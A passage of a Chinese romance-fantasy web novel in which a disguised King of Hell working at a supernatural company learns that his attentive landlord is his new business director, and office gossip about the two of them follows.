阎璟在一旁静静地听,不发表任何看法,白念生又恢复吊儿郎当的模样,一魂手里发一张近乎透明的纸,“来来来,别吵,谁也别闲着,个人简介写完,录入档案,完成最后的遗愿,送你们去投胎。”
“我能下辈子做世界首富吗?”中年男人说。
白念生面无表情,“那得看你的功德够不够了。”
“那我能回去见我妈妈一面吗?”是那个看起来刚大学比较的女孩子。
“可以。”
“那我两下辈子约定还在一起,行吗?”
“看情况。”
“我能不能见阎王大人一面,求他开恩,送我还阳。”
“不行。”
几个人,一人一句问的快,回答也快,显然白念生早已经见怪不怪,但是角落里的阎璟满头黑线,这都什么呀!
白念生手指微勾,招呼阎璟过去,“现在教你用新型高科技产品录入数据。”
平板上登录业务系统,数据录入。
阎璟在上面轻轻一点,几张虚拟纸张化成条条白雾,全进入平板之中,数据一个个在系统里展现出来。
“这就算是登记入册了,记住了吗?”
阎璟点头。
白念生又转身对着六人开启教育模式,“刚刚查了你们几个人的生平,平平无奇,唯一一次出名就是这次,恭喜你们,上新闻了,还挺火的。”
“呜呜呜呜呜……”那唯一的女孩哭的很伤心。“我想我妈妈了……”
白念生先是出声安慰,“先别哭,我待会送你去见你妈妈。你们几个人呢!如果没什么执念,就排队投胎吧!待会黑白无常会来带你们。”
“我就想下辈子做世界首富!”
白念生从墙边抄到一铁棍,在手上试重两下,“事儿我可能解决不了,但我可以解决人,你想不想知道我怎么解决的?”
那男人看白念生不好惹,心里发怵,“不了,不了,我就随便想想。”
处理好其他人的事,白念生和阎璟带着那个女生去见了妈妈最后一面。
女孩家里算不上多富裕,家中一儿一女。
几人到女孩家中时,家里白绫悬挂,棺材中堂放,灵堂上传来阵阵哭声。
今天是头七!
女孩飘到妈妈身边,虚幻的身影弯腰抱住了那白发苍苍的老年人。
“阿妹啊……我可怜的宝儿啊!”
“妈妈……”女生流下一滴晶莹剔透的泪珠。
“最可怜的就是白发人送黑发人。”白念生有感而发。
“这女生上辈子受他家恩惠良多,此生用只有二十年光阴,偿还恩情,还完了就走了。”阎璟并没有多少感悟,生老病死,人生常态,死亡并不是终点!
白念生也是见惯生死离别,这种煽情催泪的场面,并没有多少触动。
两人四目相对,都是面露尴尬之色!
不哭显得自己多无情,可哭又真的哭不出来。
白念生扭过头掏出手机准备给孟小七报备此间情况,钉钉群里突然跳出几条消息。
白念生打开一看,眼睛一亮,“喔吼,我们组的主心骨找到了。”
阎璟“啊?”一声问,“什么骨?”
“主心骨。我不是跟你说过,我们业务总监都位置一直空着吗?”
“嗯。”
“现在不空了,新任业务总监明天就到。”白念生语气特别欢喜,“早就受够了崔命符那套,可算来了个能做主的人。”
阎璟想了半天,才理解白念生口中的催命符是崔经理。
“业务总监?”想来应该是个狠角色,白念生想。
15. 业务总监冷樾大人
晚间,冷樾又变着法的做了阎璟最近喜欢上吃的白灼虾和瑶柱鸡丝粥,为了方便阎璟,更能吃的尽兴,便不耐其烦拨好虾壳,将虾仁一个放个对方碗中。
阎璟还在想白天的事,没有注意到冷樾看他的眼神里带着一丝审视的意味。
只是乖巧的一口一个虾仁,半晌才轻轻叹了口气,缓缓抬起头。
阎璟吃的简单,面前的盘子干净如初,反观冷樾的盘子里都是虾壳,一瞧虾仁全在自己碗中,顿时有些不好意思。
“你怎么都给我了,你自己也吃呀!”说着他将自己的碗往冷樾面前推了推。
冷樾微微一笑,又把碗放回他面前,“我对海鲜过敏,平时很少会吃,而且,如果今天不吃完,后面就不新鲜了。”
“海鲜过敏?”
“就是,吃了身体会不舒服。”冷樾温声解释。
阎璟这才恍然大悟,原来是这样。
“你们公司最近发生什么特别的事吗?”冷樾悄悄打量他的脸色,看似不经意的问了一嘴。
阎璟想了一下,“应该没有吧!”
“真的?”冷樾语气透着一股若有若无的酸味,“可我怎么听说,新来的实习生暗恋公司一枝花呢?”
话音刚落,阎璟便被呛的猛烈咳嗽起来,冷樾赶紧坐到他身边轻拍后背给他顺气,阎璟咳的满脸通红,好大一会才缓过来。
“你听谁说的?又是那个八卦的保安?”
冷樾没有回答他,似乎是默认了。
阎璟急忙解释,连连否认,“不是的,我是被冤枉的,都是他们一群无聊的人瞎起哄。”
“真的?”
“真,他们闹着玩的。”
冷樾唇角轻扬,眼里才慢慢展露笑意。
阎璟呼吸渐渐平复,突然想起白念生今日说起的一件事,“对了,我们公司明天会来新的业务总监,来新人了,想必后面,这些人就不会逮着我开玩笑了。”
冷樾听闻,意味深长笑了笑,“是吗?”
“嗯。”
“我也有件事想跟你说,小璟,”冷樾认真的眼神注视着他,“我换新工作了。”
阎璟抬头看他,眼里满脸疑惑,“为什么?自家公司待的不好吗?”
冷樾摇摇头,目光静静落在他脸上,“不是,公司没有我,还是会正常运营,只是,我想离我喜欢的人近一些。”
阎璟恍然大悟,原来如此,笑着拍拍他的肩,“原来冷先生还是个痴情种子,那祝你旗开得胜,早日如愿。”
冷樾没有再说话,只低头轻轻一笑,抽出张餐巾纸将他嘴角的汁水擦掉,“好。”
第二天一大早,两人默契洗漱吃饭换西装。
镜子里的两道身影,一个赛着一个挺拔俊朗,阎璟依旧没有学会打领带,冷樾像往常一样,先为他整理妥帖后,再整理的自己衣着。
道路两旁矗立着梧桐,疏影斑斑落在两侧的红砖墙上,人行道上的行人步履匆匆,没多会的功夫,摩天大楼拔地而起,在阳光下折射出冷冽的金属光泽。
冷樾把车一路开到伦晖公司楼下,目送阎璟下了车,与他挥手道别。
看着那道身影渐渐走远,他才缓缓将车驶向C1入口处,门口的保安认出驾驶座上的人是冷樾,抬手朝他打了个招呼。
刚打完上班卡的阎璟,工位还没坐热,就被白念生一把薅了起来,“今天业务总监降临,要去门口迎接。你看看时间都几点了,差点就迟到了。”
阎璟看着离上班还有五分钟的时间,“现在就要过去?”
“提前去站队!”白念生把他工牌往身上一挂,拽着胳膊就往外走,“领导们都过去了,咱们这种小人物,总不能比领导还难请吧!”
阎璟不做声,只是一味跟上白念生的脚步。
“我昨天晚上悄悄去打听了一下,”白念生压低了声音,“这次新来的业务总监是我们公司董事专门花高薪挖来的。业务能力超强。人长得也帅!帅掉渣的那种。”
阎璟不想知道他是怎么打听的,毕竟公司企业八卦文化在那摆着,“你见过?”
白念生摇摇头,“你的绯闻女友见过。”
一听绯闻女友,阎璟整个脸瞬间黑了下来。
白念生瞧他不禁逗的那样,哈哈笑起来,“孟小七说她见过一个背影,高大挺拔,一看就是帅哥坯子。估计跟你有的一拼!”
阎璟十分无语的叹了口气。
说说笑笑间,两人已经悄摸混入人群之中,正好就站在崔经理的后面,崔经理回头瞥了他们一眼,食指轻轻抵在唇边,做个噤声的动作。
白念生狂点头,比个OK的手势。
阎璟抬眼望去,上次面试他的几个高层也在,包括那个身穿唐装的老者。
左右两排业务组和技术组,分别各站大几十人,每个人都伸长脖子纷纷往门口张望。
老者身后身材高挑的女子俯身在他耳边轻声低语几句。老者瞬间直起腰板,往正门走去。
看来是人到了。
果然,随着众人的目光,一个身材高挑的男人背着光出现在门口。
阎璟站在后排,看的并不真切,只能依稀看到一个身穿正装,气质冷冽,周身自带气场的男子,他跟老者握手时,身子依旧挺拔如松,不曾有半分俯下。
狂!拽!酷!霸!屌!
这是白念生用手机打出几字,悄悄递给阎璟看。
阎璟觉得白念生的总结简直精辟,相当到位。
前面人群传来细微的骚动,阎璟没有多大兴趣,毕竟,他的职位以后也不会跟什么总监扯上关系。
可随着那人一点点朝他走来,白念生开始激动了起来,死死拽着阎璟的胳膊,摇晃不停,嘴里忍不住惊呼,“卧……卧卧卧卧卧槽!”
阎璟被他掐的吃痛,蹙眉不解,不知道他激动什么?就见白念生不停拍他,示意他抬头看。
阎璟讶异,被逼无奈的抬头,那个离他原本很远的身影正慢慢向他们这边走来,原本还以为是要经过这边,毕竟他们这排人正好挡着过道。
可是那人突然在崔经理面前停下了脚步。
崔珏心里激动不已,比他更惊讶的是他身后的白念生。
同时,见到脸的阎璟心里也咯噔一下,因为新上任的业务总监不是别人,正是他如今三包的房东。
万年的教养让阎璟说不出跟白念生那样直白又粗糙的惊叹,但也倒抽一口凉气!
冷樾!
“崔经理,以后业务上事务还需要多多配合。”
崔珏受宠若惊,连忙握住冷樾的手,“应该的应该的。”
冷樾仿佛不经意间往后扫视一眼,“这两位是你的下属?也请多多指教。”
白念生已当场愣住,机械似的握手,“请,请多指教。”
最后,冷樾才将手伸到阎璟面前。
阎璟一时没有动作。
崔经理在一旁看的尴尬,忙打圆场,“这是我们部门刚入职的新人……”
话未说完,冷樾转头看了崔珏一眼,仅仅一眼,便顺利让崔经理闭上嘴。
熟不知,此时的阎璟恨不得打通人间界的通道,直接钻地下去。
冷樾故意的!
绝逼故意的!
最后还是白念生捅了捅阎璟胳膊,阎璟才回过神来。
阎璟望着近在咫尺的那张脸,缓缓抬起手,握住那只一直悬空在半空的手,轻声的像叹息,“你好。”
冷樾紧紧回握,笑意在眼底浮现,“你好。”
说完话,阎璟迅速收回手,别开脸不再看他。
冷樾也在老者的引领之下,往后面楼道走去,“冷总监,你的办公室已经准备好了,如果后面有什么需要,找我就行。”
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“多谢。”
人影渐渐走远,崔珏若有所思在阎璟身上打量一圈,刚想开口,阎璟就被白念生一把拉到公司门外的一处角落,把人一下子掼在墙上,“这人不是你朋友吗?他现在是我们部门的顶头上司一把手,你不知道吗?”
阎璟同样茫然,无奈摇摇头,“我……不知道。”
白念生哎呀一声,转念一想:“也是,好朋友也不是每件事都说的,何况你们又不住一起。”
“……”阎璟只是一味的不语。
因为他们还真就住一起!
“你这朋友好相处吗?”白念生追问。
阎璟回想一下这段时间跟冷樾的日常,“应该,挺好相处的……吧!”
“别……吧呀!我害怕哎!”白念生可没忘那天在餐厅,冷樾冷冷瞪来得那一眼,现在想起来都背后发凉,寒毛直立。
而且,刚刚,他看崔珏那一眼,也带股子寒意。
就在此时,白念生手机突然响起来,是孟小七打来的,电话里声音急促,阎璟离得近,也听的十分清楚,“你们在哪,十五楼三号大会议室,业务部门全体开会。”
电话都没挂,白念生看了一眼阎璟,“你的好朋友,这是要新官上任三把火啊!”
阎璟:“那赶紧走!别烧到我们。”
白念生把人手腕一牵,拔腿就跑,边跑边说,“走是来不及了,咱们得跑啦。”
果然,两人是最后到达会议室的,气喘吁吁喘着粗气。
冷樾坐在主位,目光落向门口的两人,视线接触到阎璟的那一刹那,明显能看到阎璟的躲避。
白念生则是在心里暗暗侥幸,幸好是拉着阎璟一起,不然他自己真要成为杀鸡儆猴的那只鸡仔了!
“进来找位置坐吧!”
会议室十米的办公桌上,两边都坐满了人,可惜,人多,椅子不够用,很多都是中间临时加塞。但即便如此,宁愿加塞,也没有敢去坐冷樾两边位置。
白念生瞅了一圈,识相转身出去找个小凳子,打算坐在角落里。
可阎璟的运气就没有这么好了。
他刚想转身,跟白念生一样去搬小凳子加塞,就被冷樾叫住。
“别去麻烦了,过来坐。”冷樾拍拍自己旁边的空位置。
业务总监都发话,那里还敢拒绝。
在众人“祝你一路顺风”“自求多福”的目光中,阎璟一步一步朝着冷樾旁边的位置走去。
冷樾虽然不露笑意,但是看着阎璟的目光总是那么温柔,只是在其他人看来,这是打算先拿新人开刀的既视感。
会议室一片寂静。
“都到齐了。”旁边的小秘书语气轻轻柔柔。
冷樾点头,表示知晓,身体正坐,气质巍峨,面上不动如山,目光如炬。
“各位早上好,我叫冷樾,是你们的业务总监,下面请各位把手机调成静音模式,有问题留在会后,现在听我说。
接下来五分钟,我告诉你们三件事:我们业务部门要做什么,怎么做,以及业务能力跟不上的人会怎样。
第一,从本周开始,所有业务组的数据形成周报,在每周一上午九点前必须出现在我桌上,每组经理进行收取,纸质版,不准发邮箱。
第二,业务部门,每次外出业务48小时后我要看到步骤,结案词。
第三,公司不需要两种人,制造问题的人,和假装问题不存在的人。
我知道你们在想什么。
新官上任三把火。
错了。这不是火,能适应的,会在这里活得更好,不能的,门口在那边。
现在,谁有问题?”
冷樾话语突然停顿下来,目光扫视全场,“很好,会议开始——”
角落里有人连咽个唾沫的动作都不敢太大,太窒息了……
众人内心:好可怕啊!
16. 气场全开的冷樾大人
阎璟从来没有见过这幅面孔的冷樾,这会子更是连头都懒得抬,只一心低头装死。
冷樾讲完话,低头翻看文件时,目光不经意的扫了一眼旁边的气压低沉的阎璟,心中暗到一声不妙!
今天晚上做道雪域松茸珍,不知道能不能把人哄好。
会议在两个小时后结束,众人如释重负。
阎璟跟着众人一同起身离开,冷樾看着人一点一点离自己越来越远,倒也没有出声阻止。
阎璟心里有点慌,生怕冷樾出声叫住他,直到出了会议室的门,才跟众人一样,表情松弛下来。
“哇塞,新的的总监大人好可怕呦!”
几人同事成群结队低声讨论,唏嘘道:“我全程都没敢抬头看,听声音都快吓死了。”
旁边一女孩子小声接着话,“我捂着眼睛从指缝中偷偷瞄了一眼,长得太顶了!”
“不知道有没有女朋友。”
“听说不是单身呦!好像有同居的对象……”
“你怎么知道。”
那人掩着嘴角悄悄说道:“昨天我听人事部小美说的,人事部打算给他安排公寓楼,他拒绝了,说是家里有人了,住公司公寓不方便。”
阎璟就在几人身后,每一句话都听得清楚,但每句话他都不敢细想。
同居的对象?除了他?还有别人吗?
这是冷樾拒绝的理由吗?
嗯,估计是的。
白念生坐在楼道灭火器箱上在等阎璟,打算去吃午饭,阎璟听着前面几人攀谈的话语走着神,被他突然的出声吓到。
“喂!”
“……!”
白念生起身跳下来,把人往怀里一搂,“你怕啥,我还能比里面哪位更可怕?”
见阎璟不说话,又问:“吃饭去吗?”
阎璟依旧沉默。
“你是打算跟里面哪位吃,还是跟我吃?”
阎璟知道白念生虽然见过冷樾,但这才几天,人家成了自己上司,有句话说的好,不怕兄弟过得好,就怕兄弟过得比你好!
况且在公司总归得避嫌嘛!
“我不饿。”阎璟是真的不怎么饿,他不吃也没事,就是为了保持饱腹感,让身体不虚弱。
两人勾肩搭背一唱一和,前面走的几个女同事突然转过头来,两人同时身体一僵,“喂,你两知道,咱们新总监的办公室在哪里不?”
阎璟摇头,白念生也摇头。
后面几人露出促狭诡异的笑容,簇拥着两人一路推到办公室,把两人往工位上一按,纤纤玉手一指,“Look!”
顺着玉手指的方向,隐隐约约的百叶窗帘外,那个很久没用的独立的办公室出现在两人眼中。门牌上赫然三个字:总监办。
“就在你们对面哦!惊不惊喜,意不意外?”那话语里满是幸灾乐祸!
阎璟只是微微挑眉,就没太大波动。
白念生惊讶不已!
天了噜!这冷神就在他们斜对面。
白念生极慢的速度转过头,像电影里的慢镜头,看向阎璟的眼神里带着极度委屈。
看吧!人家是冲你来的!
阎璟接收到他的委屈,自己也委屈起来。
午饭,两人是在食堂吃的,阎璟没什么胃口,也说不上来为什么没胃口,吃了两口就停下了。
白念生刚准备开口揶揄他,就看到冷樾端着工作餐往他们这桌来,阎璟背对着当然看不到,可白念生看的真切!
旁边的同事都看的真切!
脸上纷纷露出恐怖的表情!
“我坐这可以吗?”
一道熟悉的声音在阎璟耳边响起,抬头一看,瞬间对上冷樾的视线,阎璟怔愣片刻,才想起把位置往旁边挪挪,冷樾一脸笑意的坐在他旁边。
尴尬的两个人,阎璟脚趾抠地,白念生眼神乱瞄。
“你就吃这么一点?”冷樾像是看不到两人的窘状,正常聊天。
“不饿。”阎璟回他。
白念生目光在他们两人身上流转,这绝对是情况。
同样在吃瓜的还有不远处的孟小七,孟小七仿佛在那边手舞足蹈,似乎打了一套太极拳,急得不得了。
紧接着,白念生手机叮咚叮咚响个不停,拿出一看,孟小七发来的消息,“什么情况?什么情况!快,前方军情如何?”
白念生低头暗暗白她一眼,手机按灭,装回兜里。远处的孟小七看见他一副不想理自己,无声又给他一棒槌!
“我这有……”
话还没说完,阎璟就把他打断了,“我不想吃。”
冷樾还是把自己夹的两块绿豆糕放一块在阎璟的碗中,那语气近乎祈求,“吃完它好吗?”
阎璟依然想拒绝,更不想成为别人的焦点,只想离开。
冷樾似乎看出穿他的心思,“吃完它就可以离开。”
白念生在一旁听两人对话,都是倒抽一口冷气,[吃完它?还,好吗?]太温柔了点吧!但大庭广众,也太猛了!
霸道总监爱上底层打工的我。
这段时间,阎璟也习惯冷樾的喂食,手下意识不自觉的夹了起来往嘴里送,送到一半才想起来,自己凭什么要听他的。
拐了个大弯,又把那块还没到嘴的绿豆糕送回冷樾的盘中,自己端着餐盘离开了,白念生紧随其后。
冷樾叹了口气,夹起刚刚被阎璟唇边砰到到绿豆糕慢慢放进自己的嘴里,慢慢品味起来。
周围吃饭的同事可谓一脸懵,不是说业务部的新人要被针对了吗?
看着不像啊!
白念生三两步追上阎璟,“阎小璟,你走这么块干嘛!等等我啊!”
阎璟停下脚步,站在原地紧皱着眉头,完全不清楚自己这份不爽的情绪是哪里来的。
他也很想明白,但他想不明白!
“我不懂。”阎璟自言自语。
白念生“啊?”一声,又“哦”一下,“嗨,你是不是觉得你把他当好朋友,但是他却来担任公司总监,压在你头上,成了你的上司,所以心里委屈。”
阎璟反问:“是这样吗?”
“不是这样吗?”
阎璟心里觉得不是,可他说不出来心里那点不舒服到底因为什么。
灵光一现,阎璟突然想到了,“不对,是他应该先告诉我的。”
白念生没说话。阎璟又否决了自己的结论,“也不对,他没有义务告诉我。所以我不该这样,这是不对的,是我癔症住了,看来我的道,修的还不够。”
难怪被天道惩罚。
“你听得懂自己在说什么嘛?”
阎璟想通后,豁然开朗,又恢复之前的状态,无悲无喜,无欲无求,就是有点小社恐。
“走吧,去吃饭。”
白念生:”……你不是刚吃过。”
“没吃饱!”
白念生心想:饱才会怪,你压根就没吃。
后面那顿饭,还是没有吃。
下午,白念生跟阎璟外出跑业务,去找昨日剩下的三个濒临死亡的魂魄。
两人查到他在这家医院,医院空气中四处弥漫消毒水的味道,候诊室的长椅上,人们姿态各异,白色的墙面上映着每一张灰色的脸。
生死场,人间镜,白色的喧哗,寂静的战场。果不其然三人都在抢救中,一个已经确认颅内缺氧出血植物人,另外两个也在ICU靠仪器吊着命。
呼吸交织,命运的回廊,家属在楼道里哭得撕心裂肺。
阎璟
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面无表情站在抢救室外,透过玻璃看去,魂魄虽在,但都是昏迷的状态,轻声轻语下了判决,“这三个人都醒不过来。”
白念生是同样都看法,瞅了几眼旁边没有听到阎璟这句话的家属们,又拿出判官笔,拿出平板,登录生死簿app查看这几人的阳寿还剩几何。
阎璟偷偷看一眼白念难得严肃的脸,假装十分随意的问,“你这只笔……挺特别的。”
白念生把笔熟练地在手里转个几圈,“就是普通的笔。”
“是判官笔吧!”见白念生不肯说,阎璟直接挑明。
白念生眉毛一挑,又在试探他,“你认识?见过?”
阎璟实话实说,“我昨日在A七小组的一个业务员手里也看过这支笔,他说是判官笔!”
“你说何狂是吧!”白念生不奇怪,毕竟,何狂也是地府上来的实习判官,一是为了躲清闲,二是为了实习证明,毕竟人间界毕竟好混,冥界太难。
见阎璟没说话,白念生三下五除二把手里的数据完善,针对性搜索,得出结论,“三个人阳寿都未尽,暂时动不了。”
一听阳寿未尽,阎璟转身就往医院大门走。白念生迅速用判官笔在每人太阳穴标上特殊标记,赶紧追了上去。
白念生看得出来阎璟心情不好,一路叽叽喳喳想转移他的注意力。
可惜啊,效果不怎么明显。
“凡人生死,本就难免,别伤心了。”
阎璟不知道他怎么突然说起这个来。
“你第一次出任务,看到一些这种煽情的场景很正常的,时间长了就好。”白念生把人搂着,“哥哥在,不伤心,刚毕业的小璟,心肠还是热乎的,哥哥稀罕,不伤心……”
阎璟无语极了。
他才不是因为这个伤心,况且,他就没有心。
“你知道吗阎小璟,我昨天跟蚊子打了一宿,最终打成个平手你敢相信?”
“是吗?它没吃饱,你没睡好。”阎璟想,都住地府了,还怕蚊子?
两人一路说说闹闹回到公司,白念生顽皮地挂在他身上蹦蹦跳跳。
刚进大门,挂在阎璟身上的白念生突然僵住——
不远处,冷樾不知已看了多久。
阎璟同时也注意到楼道里的冷樾,和他脸上那难以形容的神情。
白念生缓缓抽回搭在阎璟肩上的手,寒毛不自觉地竖了起来。
要完。
冷樾那眼神,别说白念生,阎璟自己也扛不住。他立刻拉起白念生的手,快步躲回办公室。
坐在工位上的两个人,同时长舒一口气。
又同时开口:
“你怕什么?”
“你怕个球!”
白念生咽了咽口水,“你不觉得,冷总监眼神要吃人吗?”
阎璟说:“我也不知道我怕啥,他要吃我吗!”
“估计是我!”
白念生神经再大条,也比阎璟在人间界的时间长,新时代人类一些特殊癖好他也略懂些,当然,这也多亏孟小七这个腐到骨头渣子里的腐女。
白念生拉着阎璟藏到桌子下面,小心翼翼问了一句,“你是gay吗?”
阎璟不懂,“那是什么?”
“就是喜欢……男人。”
阎璟眼神一凛,直起身来,冷冷吐出几字:“你想死吗?我是修道的。”
“无情道!?”
“阴阳道。”阎璟端起水杯。
“那没事,冷总监呢?”
阎璟想起来冷樾说过换工作是为了喜欢的女孩子。“他更不会喜欢男人,他喜欢女孩子。已经有对象了。”
“啊。对,是了,他都跟他对象同居了。”
阎璟刚喝进的水,一口全喷了出来。
17. 又被传绯闻的阎王大人
白念生说晚上要去忙活其他工作,就不陪他浪,阎璟倒也乐得耳根清净。
下班高峰时分,阎璟并未急着离开。等办公室的人都走光了,他才不慌不忙的摘下工牌。
回头一瞥,总监室灯火通明,那位显然也没有要走的意思。
以前都是冷樾接送他上下班,如今却成了尴尬事。两人在同一家公司,再同进同出,公司的流言蜚语还不知道会被传成什么样子。
实在不行,只能看看公交有没有直达线路了。
麻烦还不止这一桩。为避嫌起见,他还得另外找住处。也不知道山神大人那座破庙,能不能腾个地方给他。
正想得出神,阎璟一步步踱出办公室。刚走到门外,手腕忽然被攥住。紧接着,总监室的灯灭了,楼道里一片漆黑。
“等我一起走。”
阎璟慢慢把抽出来,“我自己坐公交就行。”
冷樾渐渐皱起眉头,随后一想,语气间竟然有丝兴奋,“你是在生我气吗?”
阎璟抬头,带着不解,“没有,这是公司,总要避嫌。”
冷樾再次握住他的手腕,大步流星朝电梯方向走去。一路下到车库,拉开车门,把人按进副驾,安全带系好,再绕道返回主驾,启动车子一气呵成。
阎璟心想,既来之则安之,既然如此,那就明天再坐公交好了。
冷樾一路都在观察阎璟的神色,见他确实跟平常没什么不同,就像他说的,并没有生气。
可越是这样,冷樾心里那股慌张感越强烈。
若是阎璟怪他没有提前告诉他,冷樾还不会这么心慌。
青灯山庄内
冷樾顺其自然接过他的外套,挂在衣架上,“你先休息会,我去做饭。”
阎璟点点头,默不作声转身回了卧室。
冷樾看着他慢慢消失的背影,神情慢慢沉静下来。
他默默想:有矛盾不能隔夜,今夜就算不睡,他也得把人哄好。
于是立刻转身进了厨房。都说想抓住一个人的心,先要抓住他的胃,冷樾觉得,这话不无道理,而且他也是从第一天就开始贯彻落实的。
阎璟在床上躺了片刻,望着天花板出神。
没过一会儿又坐起身,手机打开一个常用的社交平台,敲下一行字:
【请教一下:有一天,好朋友瞒着自己,成了顶头上司,该怎么处理?】
有个回复极快:【那是不是可以正大光明地摸鱼了?】
摸鱼?
另一条弹出来:【对方想给你一个惊喜估计。】
惊喜吗?
阎璟只觉得很惊讶,盯了一会屏幕,久久没有回神。
伦晖科技又不是普普通通的公司,里面从上到下,连个保安都不是寻常人。
冷樾能坐上总监的位置,意味着什么?
意味着,他也绝非什么普通的富二代富三代,而是拥有特殊能力的人。
阎璟想了想,又补充道:
【补充:楼主的朋友家里很有钱,几辈子花不完,去入职楼主的公司是为了喜欢的人。】
回复:【楼主问问是哪个女生,帮他追,追到手,你也有份。】
?
回复:【我死党要是有一天成了领导级别的,我做梦能笑醒。】
回复:【我也想问问我闺蜜,究竟什么时候出道?】
……
……
楼歪得一层一层,阎璟叹了口气,关掉电脑,重新躺回床上。
冷樾那道雪域松茸珍汤炖得有点久,阎璟中午没怎么吃东西,这会儿饥饿感又泛上来,四肢都软绵绵的没力气。
厨房那边几道精致的小炒已经备好,只剩汤还在灶上煨着。
阎璟从浴室里出来,穿着一身深灰色纯棉睡衣,撒着拖鞋一步一步晃悠到厨房,随便找了张吧台椅坐下,手臂撑着下巴,歪着脑袋,望着冷樾的背影出神。
冷樾从他出卧室就觉察到了,回头瞥见这人换了睡衣,一副慵懒又没精神的样子走过来,就猜到多半是饿着了。
果然,阎璟开口第一句就是,“还没好吗?”
冷樾转身对他笑了笑,过来揉揉他的头,“饿了?”
阎璟手按在肚子上,“我心里倒是不饿,但它在抗议。”
“那中午怎么不好好吃饭?”
要提起这茬,阎璟可就来精神了,“你来我们公司做总监,咱俩总得避避嫌。下次你也注意点,别老来找我。”
冷樾嘴角那点笑意淡了下去,“可能要让你失望了,刚才下班在地下车库,我瞧见停车场的日保好像在偷拍我们。”
“啊?”阎璟眼睛睁圆了。
冷樾语气却平常,只是眼神微凉,“明天你大概不仅要多一位绯闻女友,还得加上我这个绯闻男友。”
阎璟愣神,“……这是新人入职的固定流程吗?非得被编排点故事?”
冷樾低头轻轻一笑,没再接话。
阎璟确实饿了。
况且冷樾的手艺实在太好,吃过他做的菜,再对比公司食堂,也难怪阎璟中午那顿饭提不起胃口。
冷樾这人太可怕了,他才刚到人间界,这人就用一口又一口美味吃的,把他的口味养得这么刁,实在有点坏。
接过冷樾递来的汤碗,阎璟小心尝了一口,眼睛倏地亮起来。
他抬头,认真看向对面的男人,“太好喝了。”
冷樾抬手揉了揉他发顶,“好喝就多喝点。”
阎璟轻轻吹着热气,小口品着,忽然问,“你会道法?”
冷樾夹菜动作一顿。
去冥界封印阎璟神力时,这人究竟是没察觉,还是根本不在意?他还以为,阎璟早该清楚自己是谁。
“很难回答吗?”阎璟追问。
冷樾咽下口中的青菜,喝了口汤,才垂眼道,“你真不认识我?”
这话让阎璟一怔,“我们以前见过?”
“没事,想不起来就算了。”冷樾放下碗筷,“你只要记得,我和你是同类就行。”
所以,他承认了自己不是普通人,也是修道者,拥有常人没有的能力。
阎璟见他不想多说,也不强求,等他后面神力恢复一些,打算日后找机会回溯看看,他就不信,他一个堂堂阎王大人,弄不清冷樾此人的来历。
话说,原本没觉得这人有什么特别,可这段时间相处下来,再回想人间界的寻常家庭模式,还有上次黄大仙那些话……冷樾确实处处透着不同。
“你家里人呢?”阎璟忽然问。
冷樾愣了愣,反问,“你想见他们?”
“不是,就随口问问,他们好像不和你住一起。”
冷樾一时犹豫。
此刻坦白身份,还是等对方自己想起来?
阎璟已经开始对他设防,这让他心里发闷。好不容易拉近的距离,他绝不能任其疏远。
不能说谎,否则后面被拆穿一定没有信任可言,但却也不能全盘托出。冷樾斟酌着开口,“小璟,其实……我没有父母。”
孤儿?
一个留下偌大家产的孤儿?
有点可怜!哎不对,自己才可怜吧!
至少他还有钱!自己什么都没有!
“抱歉。”阎璟会错了意,以为对方父母早已过世。他想问问名姓,回头让秦广王查查是否已入轮回,可这么一问,自己的身份也就藏不住了。最终他只是沉默。
餐桌上安静下来,两人各怀心事,却全然不在一个频道。
默契地吃完晚饭,冷樾收拾好碗碟,看见阎璟躺在花园中央的躺椅上看星星,便悄声走了过去
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。
夜风拂过花园,掀起躺椅上那人衣角轻轻晃动。
阎璟身体放松地陷在椅中,随着细微的“吱呀”声缓缓摇晃。星辰在夜幕里明灭,四周静谧,只有草叶间断续的虫鸣。
阎璟察觉身后有人,即便脚步放得再轻,他也感觉得到。
他没回头,只望着天上散落的星辰。
冷樾不知从哪儿取了条薄毯,轻轻盖在他身上,“夜里凉,别着凉了。你现在身体虚。”
这话倒没错,阎璟如今这身子和凡人也没什么两样。但生病……想来是不会的,好歹他也是阎王。
“我这身子是被人害的。”阎璟忽然说。
冷樾目光凝在他脸上,心想阎璟说的“坏人”,该不会是指他吧?
“要是哪天我知道是谁干的,绝对饶不了他。”
“是吗?”冷樾默了默,才问:“他……怎么害你的?”
阎璟尽量把话说得人性化也更易懂些,“我修行这么多年,好不容易大圆满,结果有个坏家伙,听个大恶人的指使,一下把我修为全废了。你说他坏不坏?”
“……坏。”冷樾知道他说的是神力被封印的事,视线不由移开,也跟着望向星空,心里暗暗庆幸,还好刚才没坦白,否则这人说不定会直接冲破天道封印,把他按在地上摩擦。
“小璟,”冷樾轻声转开话题,“我去伦晖没提前跟你说,是我不对。事发突然,我也是临危受命。你别生气,好吗?”
阎璟等了一天,似乎就在等这句。
冷樾说完,他才转过头来,那双眼睛真挚而灼热,看得阎璟心头一跳,“一开始是有点惊讶,但后来想想,我其实没资格生气。你只是我房东,不是我下属,更不是我的所有物。所以不用道歉。”
“不。如果你真生气了,我反而会高兴。”
阎璟修行万年,尤其历经阴阳道的洗炼,万物对他来说只是善恶阴阳与平衡,无中生有,有中生无,生死沧桑早已看淡,一颗心古井无波,很难再被什么牵动情绪。
若真有,冷樾倒觉得,这段漫长无果的情意,或许终于裂开一丝缝隙,能透进一点天光,让他这么多年的暗恋,有个埋骨之地。
阎璟却只觉得冷樾大概是真把他当朋友,才这么在意他的感受,不然就是这人脑子有点问题。哪有人盼着别人生自己气的?
况且,他也确实没为这点小事动气。
“放心吧,我没生气。”阎璟再三保证。
“……”冷樾沉默了。
“叮咚——”
手机震了震。阎璟掏出来一看,钉钉小群里白念生发了张照片,正是冷樾拉他上车的那一幕。
跟着一条语音,点开就是白念生咋呼的嗓音,“阎小璟!你跟冷总监怎么回事?公司内部群都在传你俩绯闻!说你俩是一对恋人,你看到了没,回个话,吱个声啊!”
好巧不巧,冷樾就在旁边,听得一清二楚。
阎璟有点不知道该怎么开口,想看他又觉得不好意思,憋了半天,想起白念生的话来,“你知道gay吗?”
“……”
他以为冷樾不清楚,于是认认真真解释起来,“就是男人喜欢男人。”
冷樾无语。
阎璟用手在半空比划半天,“现在科技发达,人的思想也发达,男子不一定喜欢女子,也可以喜欢男子,女子也不一定喜欢男子,也可以喜欢女子。”
冷樾看着他,问:“所以呢?”
“他们……以为我和你是那个……呃是那个什么gay。”阎璟说完这句话,就把将正张脸埋进薄毯里,恨不得当只鸵鸟。
冷樾倒是神色自若,望着他的反应,嘴角轻轻扬了起来。
